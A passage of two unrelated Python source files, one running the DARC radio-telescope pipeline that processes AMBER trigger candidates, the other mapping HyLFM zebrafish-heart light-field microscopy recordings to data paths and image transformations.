self.scavenger.join()
if self.status_generator is not None:
self.status_generator.join()
def start_observation(self, obs_config, reload=True):
"""
Initialize a Processor and call its start_observation
"""
if reload:
self.load_config()
# add parset to obs config
obs_config['parset'] = self._load_parset(obs_config)
# get task ID
taskid = obs_config['parset']['task.taskID']
self.logger.info(f"Starting observation with task ID {taskid}")
# refuse to do anything if an observation with this task ID already exists
if taskid in self.observations.keys():
self.logger.error(f"Failed to start observation: task ID {taskid} already exists")
return
# initialize a Processor for this observation
queue = mp.Queue()
proc = Processor(source_queue=queue, log_queue=self.log_queue, config_file=self.config_file)
proc.name = taskid
proc.start()
# start the observation and store thread
queue.put({'command': 'start_observation', 'obs_config': obs_config, 'reload': reload})
self.observations[taskid] = proc
self.observation_queues[taskid] = queue
# observation end time is used for showing elapsed processing time on web page
# if end time is in the past, we are reprocessing and show elapsed time since start of reprocessing
# instead
obs_end_time = Time(obs_config['startpacket'] / TIME_UNIT, format='unix') + \
TimeDelta(obs_config['duration'], format='sec')
now = Time.now()
# if now is later than obs end time, use now as fake obs end time to show correct elapsed processing
# time
obs_end_time = max(obs_end_time, now)
self.observation_end_times[taskid] = obs_end_time
self.current_observation_queue = queue
return
def stop_observation(self, obs_config):
"""
Stop observation with task ID as given in parset
:param dict obs_config: Observation config
"""
# load the parset
parset = self._load_parset(obs_config)
# get task ID
taskid = parset['task.taskID']
# check if an observation with this task ID exists
if taskid not in self.observations.keys():
self.logger.error(f"Failed to stop observation: no such task ID {taskid}")
return
# signal the processor of this observation to stop the observation
# when processing is finished, this also stops the Process
self.observation_queues[taskid].put({'command': 'stop_observation'})
def process_command(self, command):
"""
Forward any data from the input queue to the running observation
"""
if command['command'] == 'stop':
self.stop()
elif command['command'] == 'get_attr':
self.get_attribute(command)
elif self.current_observation_queue is not None:
self.current_observation_queue.put(command)
else:
self.logger.error("Data received but no observation is running - ignoring")
return
def _load_parset(self, obs_config):
"""
Load the observation parset
:param dict obs_config: Observation config
:return: parset as dict
"""
try:
# encoded parset is already in config on master node
# decode the parset
raw_parset = util.decode_parset(obs_config['parset'])
# convert to dict and store
parset = util.parse_parset(raw_parset)
except KeyError:
self.logger.info(f"{obs_config['datetimesource']}: Observation parset not found in input config, "
f"looking for master parset")
# Load the parset from the master parset file
master_config_file = os.path.join(obs_config['master_dir'], 'parset', 'darc_master.parset')
try:
# Read raw config
with open(master_config_file) as f:
master_config = f.read().strip()
# Convert to dict
master_config = util.parse_parset(master_config)
# extract obs parset and decode
raw_parset = util.decode_parset(master_config['parset'])
parset = util.parse_parset(raw_parset)
except Exception as e:
self.logger.warning(
"Failed to load parset from master config file {}, "
"setting parset to None: {}".format(master_config_file, e))
parset = None
return parset
class Processor(DARCBase):
"""
Real-time processing of candidates
#. Clustering + thresholding
#. Extract data from filterbank
#. Run classifier
#. Visualize candidates
After observation finishes, results are gathered in a central location to be picked up by the master node
"""
def __init__(self, log_queue, *args, **kwargs):
"""
:param Queue log_queue: Queue to use for logging
"""
# init DARCBase without logger, as we need a non-default logger
super(Processor, self).__init__(*args, no_logger=True, **kwargs)
# create queue logger
self.logger = get_queue_logger(self.module_name, log_queue)
self.log_queue = log_queue
self.observation_running = False
self.threads = {}
self.amber_triggers = []
self.hdr_mapping = {}
self.obs_config = None
self.output_dir = None
self.reprocessing = False
# create queues
self.clustering_queue = mp.Queue()
self.extractor_queue = mp.Queue()
self.classifier_queue = mp.Queue()
self.all_queues = (self.clustering_queue, self.extractor_queue, self.classifier_queue)
# lock for accessing AMBER trigger list and obs stats
self.amber_lock = threading.Lock()
self.obs_stats_lock = threading.Lock()
# initalize observation statistics.
self.obs_stats = {'ncand_raw': 0,
'ncand_post_clustering': 0,
'ncand_post_thresholds': 0,
'ncand_post_classifier': 0}
self.ncluster = mp.Value('i', 0)
self.ncand_above_threshold = mp.Value('i', 0)
self.candidates_to_visualize = []
self.classifier_parent_conn, self.classifier_child_conn = mp.Pipe()
self.obs_name = ''
self.logger.info("{} initialized".format(self.log_name))
def process_command(self, command):
"""
Process command received from queue
:param dict command: Command to process
"""
if command['command'] == 'get_attr':
self.get_attribute(command)
elif command['command'] == 'trigger':
if not self.observation_running:
self.logger.error("Trigger(s) received but no observation is running - ignoring")
else:
with self.amber_lock:
self.amber_triggers.append(command['trigger'])
else:
self.logger.error("Unknown command received: {}".format(command['command']))
def stop(self, abort=None):
"""
Stop this service
:param bool abort: Ignored, a stop of the service always equals abort
"""
self.logger.info(f"{self.obs_name}Processor received stop")
# abort running observation (this stops the processor too)
self.stop_observation(abort=True)
def start_observation(self, obs_config, reload=True):
"""
Parse obs config and start listening for amber triggers on queue
:param dict obs_config: Observation configuration
:param bool reload: reload service settings (default: True)
"""
# reload config
if reload:
self.load_config()
# store obs name for logging
self.obs_name = f"{obs_config['parset']['task.taskID']} - {obs_config['datetimesource']}: "
# clean any old triggers
self.amber_triggers = []
# set config
self.obs_config = obs_config
# add observation-specific path to result_dir
self.central_result_dir = os.path.join(self.result_dir, obs_config['date'], obs_config['datetimesource'])
# create output dir
output_dir = os.path.join('{output_dir}'.format(**obs_config), self.output_subdir)
for path in (output_dir, self.central_result_dir):
try:
util.makedirs(path)
except Exception as e:
self.logger.error(f"{self.obs_name}Failed to create directory {path}: {e}")
raise ProcessorException(f"Failed to create directory {path}: {e}")
self.output_dir = output_dir
self.observation_running = True # this must be set before starting the processing thread
# start processing
thread = threading.Thread(target=self._read_and_process_data, name='processing')
self.threads['processing'] = thread
# start clustering
thread = Clustering(obs_config, output_dir, self.log_queue, self.clustering_queue, self.extractor_queue,
self.ncluster, self.config_file, self.obs_name)
thread.name = 'clustering'
self.threads['clustering'] = thread
# start extractor(s)
for i in range(self.num_extractor):
thread = Extractor(obs_config, output_dir, self.log_queue, self.extractor_queue, self.classifier_queue,
self.ncand_above_threshold, self.config_file, self.obs_name)
thread.name = f'extractor_{i}'
self.threads[f'extractor_{i}'] = thread
# start classifier
thread = Classifier(self.log_queue, self.classifier_queue, self.classifier_child_conn, self.config_file,
self.obs_name)
thread.name = 'classifier'
self.threads['classifier'] = thread
# start all threads/processes
for thread in self.threads.values():
thread.start()
# If this is reprocessing instead of a new observation, read the AMBER triggers
# Reprocessing is assumed if the end time is in the past
utc_start = Time(obs_config['startpacket'] / TIME_UNIT, format='unix')
utc_end = utc_start + TimeDelta(obs_config['duration'], format='sec')
if utc_end < Time.now():
self.logger.info(f"{self.obs_name}End time is in the past, reading AMBER triggers for reprocessing")
thread = threading.Thread(target=self._read_amber_triggers, name='read_amber_triggers')
thread.daemon = True
thread.start()
self.reprocessing = True
else:
self.reprocessing = False
self.logger.info(f"{self.obs_name}Observation started")
def stop_observation(self, abort=False):
"""
Stop observation
:param bool abort: Whether or not to abort the observation
"""
if (not self.observation_running) and (not abort):
# nothing to do
return
if abort:
self.logger.info(f"{self.obs_name}Aborting observation")
else:
self.logger.info(f"{self.obs_name}Finishing observation")
# wait for a short time in case some last AMBER triggers are still coming in
sleep(self.stop_delay)
# set running to false
self.observation_running = False
# if abort, clear all queues and terminate processing
if abort:
for queue in self.all_queues:
util.clear_queue(queue)
# processing is a thread, cannot terminate but it should stop very quickly when running is set to False
self.threads['processing'].join()
self.threads['clustering'].terminate()
for i in range(self.num_extractor):
self.threads[f'extractor_{i}'].terminate()
self.threads['classifier'].terminate()
self.logger.info(f"{self.obs_name}Processor aborted")
# A stop observation should also stop this processor, as there is only one per observation
self.stop_event.set()
return
# no abort, finish processing in thread (because stop_observation must be non-blocking)
thread = threading.Thread(target=self._finish_processing)
thread.daemon = True
thread.start()
def _get_timeout(self):
"""
Get procesing time limit
:return: time limit in seconds (float) or None if no limit
"""
# set time limit if processing time limit is enabled
if self.processing_time_limit > 0:
# get time when processing should be finished
if self.reprocessing:
# reprocessing: count time limit from now
timeout = self.processing_time_limit
else:
# normal observation: count time limit from observation end
time_limit = Time(self.obs_config['startpacket'] / TIME_UNIT, format='unix') + \
TimeDelta(self.obs_config['duration'], format='sec') + \
TimeDelta(self.processing_time_limit, format='sec')
# get timeout from now, in seconds. Set to zero if negative (i.e. limit already passed)
timeout = max((time_limit - Time.now()).sec, 0)
else:
# no time limit
timeout = None
return timeout
def _join_with_timeout(self, name, timeout):
"""
Signal a process to stop. Terminate if timeout is reached
:param str name: name of Process in self.threads dict to join
:param float timeout: timeout in seconds (None for no time limit)
"""
# get process to stop
proc = self.threads[name]
# join with timeout
proc.join(timeout=timeout)
sleep(.1)
# if still alive, timeout has passed, so terminate
if proc.is_alive():
self.logger.warning(f"{self.obs_name}Procesing time limit reached, terminating {name} process")
proc.terminate()
def _finish_processing(self):
"""
Wait for real-time processing to finish and visualize results
"""
# clear processing thread
self.threads['processing'].join()
# get processing time limit
t_proc_start = Time.now()
timeout = self._get_timeout()
# signal clustering to stop
self.clustering_queue.put('stop')
self._join_with_timeout('clustering', timeout)
# reorder any remaining candidates so that highest S/N are processed first
self._reorder_clusters()
# signal extractor(s) to stop
for i in range(self.num_extractor):
# only put stop message if extractor is still running, to avoid commands going back and forth
# to other extractors
if not self.threads[f'extractor_{i}'].is_alive():
self.logger.warning(f"{self.obs_name}extractor_{i} is already stopped, not sending stop message")
else:
self.extractor_queue.put(f'stop_extractor_{i}')
# update timeout to account for already passed time in earlier join_with_timeout commands
timeout -= (Time.now() - t_proc_start).sec
timeout = max(timeout, 0)
self._join_with_timeout(f'extractor_{i}', timeout)
# signal classifier to stop. This should run even if timeout is reached, so do normal join
self.classifier_queue.put('stop')
# read the output of the classifier
self.candidates_to_visualize = self.classifier_parent_conn.recv()
self.threads['classifier'].join()
# store obs statistics
# if no AMBER header was received, something failed and there are no candidates
# set all values to -1 to indicate this
if not self.hdr_mapping:
for key in self.obs_stats.keys():
self.obs_stats[key] = -1
else:
# already have number of raw candidates
# store number of post-clustering candidates
self.obs_stats['ncand_post_clustering'] = self.ncluster.value
# store number of candidates above local S/N threshold
self.obs_stats['ncand_post_thresholds'] = self.ncand_above_threshold.value
# store number of candidates post-classifier
self.obs_stats['ncand_post_classifier'] = len(self.candidates_to_visualize)
# Store the statistics and start the visualization
if len(self.candidates_to_visualize) > 0:
Visualizer(self.output_dir, self.central_result_dir, self.log_queue, self.obs_config,
self.candidates_to_visualize, self.config_file, self.obs_name)
else:
self.logger.info(f"{self.obs_name}No post-classifier candidates found, skipping visualization")
# Store statistics after visualization, as master will start combining results once all stats are present
self._store_obs_stats()
self.logger.info(f"{self.obs_name} Observation finished")
# stop this processor
self.stop_event.set()
def _read_and_process_data(self):
"""
Process incoming AMBER triggers
"""
# main loop
while self.observation_running and not self.stop_event.is_set():
if self.amber_triggers:
# Copy the triggers so class-wide list can receive new triggers without those getting lost
with self.amber_lock:
triggers = self.amber_triggers
self.amber_triggers = []
# update number of raw candidates
with self.obs_stats_lock:
self.obs_stats['ncand_raw'] += len(triggers)
# check for header (always, because it is received once for every amber instance)
if not self.hdr_mapping:
for trigger in triggers:
if trigger.startswith('#'):
# remove header from trigger count
with self.obs_stats_lock:
self.obs_stats['ncand_raw'] -= 1
# read header, remove comment symbol
header = trigger.split()[1:]
# Check if all required params are present and create mapping to col index
keys = ['beam_id', 'integration_step', 'time', 'DM', 'SNR']
for key in keys:
try:
self.hdr_mapping[key] = header.index(key)
except ValueError:
self.logger.error(f"{self.obs_name}reprocessing failed: key missing "
f"from clusters header: {key}")
self.hdr_mapping = {}
return
# header should be present now
if not self.hdr_mapping:
self.logger.error(f"{self.obs_name}reprocessing first clusters received but header not found")
continue
# remove headers from triggers (i.e. any trigger starting with #)
triggers = [trigger for trigger in triggers if not trigger.startswith('#')]
# triggers is empty if only header was received
if not triggers:
self.logger.info(f"{self.obs_name}reprocessing only header received - Canceling processing")
continue
# split strings and convert to numpy array
try:
triggers = np.array(list(map(lambda val: val.split(), triggers)), dtype=float)
except Exception as e:
self.logger.error(f"{self.obs_name}reprocessing failed to process triggers: {e}")
continue
# pick columns to feed to clustering algorithm
triggers_for_clustering = triggers[:, (self.hdr_mapping['DM'], self.hdr_mapping['SNR'],
self.hdr_mapping['time'], self.hdr_mapping['integration_step'],
self.hdr_mapping['beam_id'])]
# put triggers on clustering queue
self.clustering_queue.put(triggers_for_clustering)
self.stop_event.wait(self.interval)
def _reorder_clusters(self):
"""
Reorder clusters ready for data extraction to highest-S/N first. This is used such that bright candidates
are prioritized when there is a processing time limit
"""
# get all clusters from the extractor queue
clusters = []
try:
while True:
clusters.append(self.extractor_queue.get_nowait())
except Empty:
pass
# sort by S/N
# parameters in each cluster are dm, snr, toa, downsamp, sb
snrs = [cluster[1] for cluster in clusters]
order = np.argsort(snrs)[::-1]
# put each cluster back on the queue, highest S/N first
for ind in order:
cluster = clusters[ind]
self.extractor_queue.put(cluster)
def _store_obs_stats(self):
"""
Store observation statistics to central result directory
"""
# overview statistics
info_file = os.path.join(self.central_result_dir, f'CB{self.obs_config["beam"]:02d}_summary.yaml')
self.logger.debug(f"{self.obs_name}Storing observation statistics to {info_file}")
with open(info_file, 'w') as f:
yaml.dump(self.obs_stats, f, default_flow_style=False)
# list of triggers
trigger_file = os.path.join(self.central_result_dir, f'CB{self.obs_config["beam"]:02d}_triggers.txt')
self.logger.debug(f"{self.obs_name}Storing trigger metadata to {trigger_file}")
with open(trigger_file, 'w') as f:
f.write('#cb snr dm time downsamp sb p\n')
for fname in self.candidates_to_visualize:
with h5py.File(fname, 'r') as h5:
line = "{beam:02d} {snr:.2f} {dm:.2f} {toa:.4f} " \
"{downsamp:.0f} {sb:.0f} " \
"{prob_freqtime:.2f}\n".format(beam=self.obs_config['beam'], **h5.attrs)
f.write(line)
def _read_amber_triggers(self):
"""
Read AMBER triggers for reprocessing of an observation.
Based on AMBERListener
"""
# read AMBER settings
amber_conf_file = self.obs_config['amber_config']
with open(amber_conf_file, 'r') as f:
raw_amber_conf = f.read()
amber_conf = util.parse_parset(raw_amber_conf)
# get directory of amber trigger files
amber_dir = self.obs_config['amber_dir']
# get CB index and number of AMBER processes
beam = self.obs_config['beam']
num_amber = len(ast.literal_eval(amber_conf['opencl_device']))
self.logger.info(f"{self.obs_name}reprocessing reading {num_amber} AMBER files")
for step in range(1, num_amber + 1):
trigger_file = os.path.join(amber_dir, "CB{:02d}_step{}.trigger".format(beam, step))
# check if the file exists
if not os.path.isfile(trigger_file):
self.logger.error(f"{self.obs_name}reprocessing AMBER file does not exist: {trigger_file}")
continue
# read the file and put each line on the processor input queue
with open(trigger_file, 'r') as f:
lines = f.readlines()
for line in lines:
self.source_queue.put({'command': 'trigger', 'trigger': line.strip()})
# sleep for twice the processing interval to ensure triggers were picked up
self.stop_event.wait(2 * self.interval)
# reprocessing means no stop observation will be sent, do this manually
self.logger.info(f"{self.obs_name}sending manual stop_observation command for reprocessing")
self.source_queue.put({'command': 'stop_observation'})
|
import argparse
from pathlib import Path
import imageio
import yaml
import warnings
from hylfm.datasets.base import TensorInfo, get_dataset_from_info, N5CachedDatasetFromInfoSubset
from hylfm.datasets.heart_utils import get_transformations, idx2z_slice_241
def get_tensor_info(tag: str, name: str, meta: dict):
meta = dict(meta)
assert "z_out" in meta
assert "nnum" in meta
assert "interpolation_order" in meta
assert "scale" in meta
assert "z_ls_rescaled" in meta
assert "pred_z_min" in meta
assert "pred_z_max" in meta
root = "GKRESHUK"
insert_singleton_axes_at = [0, 0]
z_slice = None
samples_per_dataset = 1
if "_repeat" in name:
name, repeat = name.split("_repeat")
repeat = int(repeat)
else:
repeat = 1
# data quality:
# 4 amazing
# 3 very good
# 2 good
# 1 blurry
meta["quality"] = 2
if tag in ["2019-12-02_04.12.36_10msExp", "2019-12-02_03.44.01_5msExp"]:
transformations = []
meta["quality"] = 4
stack, channel = {"2019-12-02_04.12.36_10msExp": (1, 3), "2019-12-02_03.44.01_5msExp": (1, 2)}[tag]
location = f"LF_partially_restored/LenseLeNet_Microscope/20191202_staticHeart_dynamicHeart/data/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (19, None), (0, None)]}}]
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
# transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (0, None), (19, None), (0, None)]}}]
elif name == "fake_ls":
location += "Cam_Left_*.h5/Data"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
crop_name = "wholeFOV"
transformations += get_transformations(name, crop_name, meta=meta)
elif tag in ["2019-12-02_04.12.36_10msExp_short"]:
transformations = []
meta["quality"] = 4
location = f"LF_partially_restored/LenseLeNet_Microscope/20191202_staticHeart_dynamicHeart/data/{tag.replace("_short", "")}/stack_1_channel_3/"
if name == "lf":
location += "TP_00000/RC_rectified/Cam_Right_*_rectified.tif"
transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (19, None), (0, None)]}}]
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_00000/RCout/Cam_Right_*.tif"
transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (0, None), (19, None), (0, None)]}}]
elif name == "fake_ls":
location += "Cam_Left_00000.h5/Data"
elif name == "ls_slice":
location += "Cam_Left_00000.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
crop_name = "wholeFOV"
transformations += get_transformations(name, crop_name, meta=meta)
elif tag in ["2019-12-02_23.17.56", "2019-12-02_23.43.24", "2019-12-02_23.50.04", "2019-12-03_00.00.44"]:
if tag == "2019-12-03_00.00.44":
raise NotImplementedError("check crop and if 10ms is really there now...")
# if tag == "2019-12-03_00.00.44":
# raise NotImplementedError("10ms is coming, only 5ms available:")
# location = location.replace("stack_1_channel_3", "stack_1_channel_2")
meta["quality"] = 3
location = f"LF_partially_restored/LenseLeNet_Microscope/20191203_dynamic_staticHeart_tuesday/fish1/dynamic/Heart_tightCrop/dynamicImaging1_btw20to160planes/{tag}/stack_1_channel_3/"
if tag in ["2019-12-02_23.43.24", "2019-12-02_23.50.04", "2019-12-03_00.00.44"]:
if name == "lf":
padding = [
{
"Pad": {
"apply_to": name,
"pad_width": [[0, 0], [0, 1], [0, 0]],
"pad_mode": "lenslets",
"nnum": meta["nnum"],
}
}
]
elif name == "lr":
raise NotImplementedError("padding for lr")
else:
padding = []
else:
padding = []
crop_name = "Heart_tightCrop"
transformations = padding + get_transformations(name, crop_name, meta=meta)
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
else:
raise NotImplementedError(name)
elif tag in ["2019-12-08_23.43.42"]:
meta["quality"] = 1
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish1/dynamic/Heart_tightCrop/SlideThroughCompleteStack/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-09_04.54.38", "2019-12-09_05.21.16"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name in ["lr", "lfd"]:
if tag == "2019-12-09_04.54.38":
location = "/scratch/Nils/LF_computed/TP*/RCout/Cam_Right_*.tif"
else:
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-09_04.54.38_short"]: # "2019-12-09_05.21.16_short"
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/{tag.replace("_short", "")}/stack_1_channel_3/"
if name == "lf":
location += "TP_00000/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_00000/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_00000.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-09_05.41.14_theGoldenOne"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["plane_100/2019-12-09_05.55.26", "plane_120/2019-12-09_05.53.55"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/2019-12-09_05.41.14_theGoldenOne/singlePlane_samePos/{tag}/stack_2_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in ["plane_100/2019-12-09_05.55.26_short", "plane_120/2019-12-09_05.53.55_short"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/2019-12-09_05.41.14_theGoldenOne/singlePlane_samePos/{tag.replace("_short", "")}/stack_2_channel_3/"
if name == "lf":
location += "TP_00000/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_00000/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "*Cam_Left_00000.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in [
"2019-12-09_23.10.02",
"2019-12-09_23.17.30",
"2019-12-09_23.19.41",
"2019-12-10_00.40.09",
"2019-12-10_00.51.54",
"2019-12-10_01.03.50",
"2019-12-10_01.25.44",
]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish3/dynamic/Heart_tightCrop/slideThroughStack/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-10_02.13.34"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish3/dynamic/Heart_tightCrop/theGoldenExperiment/SlidingThroughStack_samePos/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in [
"plane_090/2019-12-09_04.26.13_5ms",
"plane_090/2019-12-09_04.26.13_10ms",
"plane_090/2019-12-09_04.26.55_5ms",
"plane_090/2019-12-09_04.26.55_10ms",
"plane_090/2019-12-09_04.28.03_5ms",
"plane_090/2019-12-09_04.28.03_10ms",
"plane_120/2019-12-09_04.10.59_5ms",
"plane_120/2019-12-09_04.10.59_10ms",
"plane_120/2019-12-09_04.11.56_5ms",
"plane_120/2019-12-09_04.11.56_10ms",
"plane_120/2019-12-09_04.13.01_5ms",
"plane_120/2019-12-09_04.13.01_10ms",
"plane_150/2019-12-09_04.23.37_5ms",
"plane_150/2019-12-09_04.23.37_10ms",
"plane_150/2019-12-09_04.24.22_5ms",
"plane_150/2019-12-09_04.24.22_10ms",
]:
crop_name = "fast_cropped_8ms"
transformations = get_transformations(name, crop_name, meta=meta)
if tag.endswith("_5ms"):
stack, channel = (2, 11)
elif tag.endswith("_10ms"):
stack, channel = (2, 10)
else:
raise NotImplementedError(tag)
tag = tag.replace("_5ms", "").replace("_10ms", "")
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/fast_cropped_8ms/singlePlanes/fullyOpenIris/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in [
"plane_080/2019-12-09_04.02.24_5ms",
"plane_080/2019-12-09_04.02.24_10ms",
"plane_080/2019-12-09_04.05.07_irisOpenedComplete_5ms",
"plane_080/2019-12-09_04.05.07_irisOpenedComplete_10ms",
"plane_100/2019-12-09_03.44.34_5ms",
"plane_100/2019-12-09_03.44.34_10ms",
"plane_100/2019-12-09_03.46.56_5ms",
"plane_100/2019-12-09_03.46.56_10ms",
"plane_120/2019-12-09_03.41.23_5ms",
"plane_120/2019-12-09_03.41.23_10ms",
"plane_120/2019-12-09_03.42.18_5ms",
"plane_120/2019-12-09_03.42.18_10ms",
"plane_140/2019-12-09_03.55.51_5ms",
"plane_140/2019-12-09_03.55.51_10ms",
"plane_140/2019-12-09_03.56.44_5ms",
"plane_140/2019-12-09_03.56.44_10ms",
"plane_160/2019-12-09_03.58.24_5ms",
"plane_160/2019-12-09_03.58.24_10ms",
"plane_160/2019-12-09_03.59.45_5ms",
"plane_160/2019-12-09_03.59.45_10ms",
]:
crop_name = "fast_cropped_8ms"
transformations = get_transformations(name, crop_name, meta=meta)
if tag.endswith("_5ms"):
stack, channel = (2, 11)
elif tag.endswith("_10ms"):
stack, channel = (2, 10)
else:
raise NotImplementedError(tag)
tag = tag.replace("_5ms", "").replace("_10ms", "")
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/fast_cropped_8ms/singlePlanes/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in [
"plane_020/2019-12-03_02.19.20_125Hz",
"plane_020/2019-12-03_02.19.20_100Hz",
"plane_040/2019-12-03_02.16.43_125Hz",
"plane_040/2019-12-03_02.16.43_100Hz",
"plane_060/2019-12-03_02.14.24_125Hz",
"plane_060/2019-12-03_02.14.24_100Hz",
"plane_080/2019-12-03_02.12.08_125Hz",
"plane_080/2019-12-03_02.12.08_100Hz",
"plane_080/pos2/2019-12-03_02.47.30_125Hz",
"plane_080/pos2/2019-12-03_02.47.30_100Hz",
"plane_100/2019-12-03_02.09.03_125Hz",
"plane_100/2019-12-03_02.09.03_100Hz",
"plane_120/2019-12-03_01.57.26_125Hz",
"plane_120/2019-12-03_01.57.26_100Hz",
"plane_140/2019-12-03_02.23.56_125Hz",
"plane_140/2019-12-03_02.23.56_100Hz",
"plane_160/2019-12-03_02.26.32_125Hz",
"plane_160/2019-12-03_02.26.32_100Hz",
"plane_165/2019-12-03_02.33.46_125Hz",
"plane_165/2019-12-03_02.33.46_100Hz",
"plane_165_refocused/2019-12-03_02.38.29_125Hz",
"plane_165_refocused/2019-12-03_02.38.29_100Hz",
]:
crop_name = "fast_cropped_6ms"
transformations = get_transformations(name, crop_name, meta=meta)
if tag.endswith("_125Hz"):
stack, channel = (2, 8)
elif tag.endswith("_100Hz"):
stack, channel = (2, 9)
else:
raise NotImplementedError(tag)
if tag == "plane_100/2019-12-03_02.09.03_125Hz":
if name == "lf":
transformations.insert(0, {"Crop": {"apply_to": name, "crop": [(0, None), (0, 931), (0, None)]}})
elif name == "lr":
transformations.insert(
0, {"Crop": {"apply_to": name, "crop": [(0, None), (0, None), (0, 931), (0, None)]}}
)
tag = tag.replace("_125Hz", "").replace("_100Hz", "")
